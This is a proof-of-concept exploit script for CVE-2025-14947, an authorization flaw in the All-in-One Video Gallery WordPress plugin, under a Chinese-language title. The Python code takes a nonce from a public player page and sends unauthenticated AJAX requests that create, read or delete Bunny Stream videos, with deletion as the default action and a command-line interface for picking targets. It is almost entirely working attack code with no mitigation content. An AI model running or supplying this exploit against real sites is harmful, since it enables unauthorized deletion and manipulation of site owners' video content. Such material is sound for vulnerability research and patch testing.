CVE-2025-14947 | All-in-One Video Gallery 权限绕过导致未授权视频操作漏洞

import requests import re import argparse def exploit_cve_2025_14947(target_url, action='delete'): """ CVE-2025-14947 PoC - All-in-One Video Gallery Unauthorized Video Manipulation This exploit demonstrates the IDOR vulnerability in All-in-One Video Gallery plugin where AJAX functions lack proper capability checks. Actions: 'create', 'get', 'delete' """ # Step 1: Extract nonce from public player template player_url = f"{target_url}/?aivg_id=1" try: response = requests.get(player_url, timeout=10) # Extract nonce from player template (typically in data-nonce attribute) nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if not nonce_match: print("[-] Failed to extract nonce from player template") return False nonce = nonce_match.group(1) print(f"[+] Extracted nonce: {nonce}") except requests.RequestException as e: print(f"[-] Error fetching player page: {e}") return False # Step 2: Prepare AJAX request ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } if action == 'create': # Create video on Bunny Stream CDN data = { 'action': 'ajax_callback_create_bunny_stream_video', 'nonce': nonce, 'video_title': 'Malicious Video', 'video_guid': 'malicious-video-guid' } elif action == 'get': # Get video information data = { 'action': 'ajax_callback_get_bunny_stream_video', 'nonce': nonce, 'video_id': '1' } elif action == 'delete': # Delete video from Bunny Stream CDN data = { 'action': 'ajax_callback_delete_bunny_stream_video', 'nonce': nonce, 'video_id': '1' } else: print("[-] Invalid action") return False # Step 3: Execute malicious request (no authentication required) try: response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] {action.upper()} action completed successfully") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error executing request: {e}") return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-14947 Exploit') parser.add_argument('--url', required=True, help='Target WordPress URL') parser.add_argument('--action', choices=['create', 'get', 'delete'], default='delete', help='Action to perform') args = parser.parse_args() exploit_cve_2025_14947(args.url, args.action)